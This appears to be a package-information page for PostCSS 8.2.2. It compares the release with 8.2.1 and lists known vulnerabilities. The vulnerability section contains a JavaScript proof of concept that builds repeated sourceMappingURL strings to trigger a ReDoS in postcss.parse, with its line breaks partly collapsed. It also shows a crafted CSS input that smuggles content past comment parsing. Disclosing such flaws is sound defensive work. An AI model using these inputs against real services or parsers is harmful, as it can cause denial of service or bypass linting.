PostCSS version 8.2.2, released on December 29, 2020, builds upon the foundation of its predecessor, version 8.2.1, released earlier in December 2020. Both versions serve as powerful tools for transforming styles using JavaScript plugins, offering developers a flexible and modular approach to CSS processing. They share core dependencies like nanoid for generating unique IDs, colorette for terminal styling, and source-map for debugging. Both maintain the MIT license, the same author and funding.
While the core functionality remains consistent, the subtle changes between these versions might be interesting for developers. A key indicator of changes lies in the unpackedSize within the dist object. Version 8.2.2 shows unpacked size of 203199 bytes while 8.2.1 has 203037 bytes, suggesting code additions or modifications, bug fixes in version 8.2.2 could contribute to a slightly larger footprint. Developers should also note that release Date is different, 2020-12-29 for 8.2.2 against 2020-12-09 for 8.2.1.
For developers already using PostCSS, upgrading to 8.2.2 is recommended to ensure they benefit from any bug fixes or performance improvements incorporated. New developers can leverage PostCSS to automate tasks like vendor prefixing, future CSS syntax usage, and code optimization, enhancing their CSS workflow and maintaining clean, maintainable stylesheets. Developers are always encouraged to consult the official PostCSS changelog for detailed information regarding version specific changes.
All the vulnerabilities related to the version 8.2.2 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.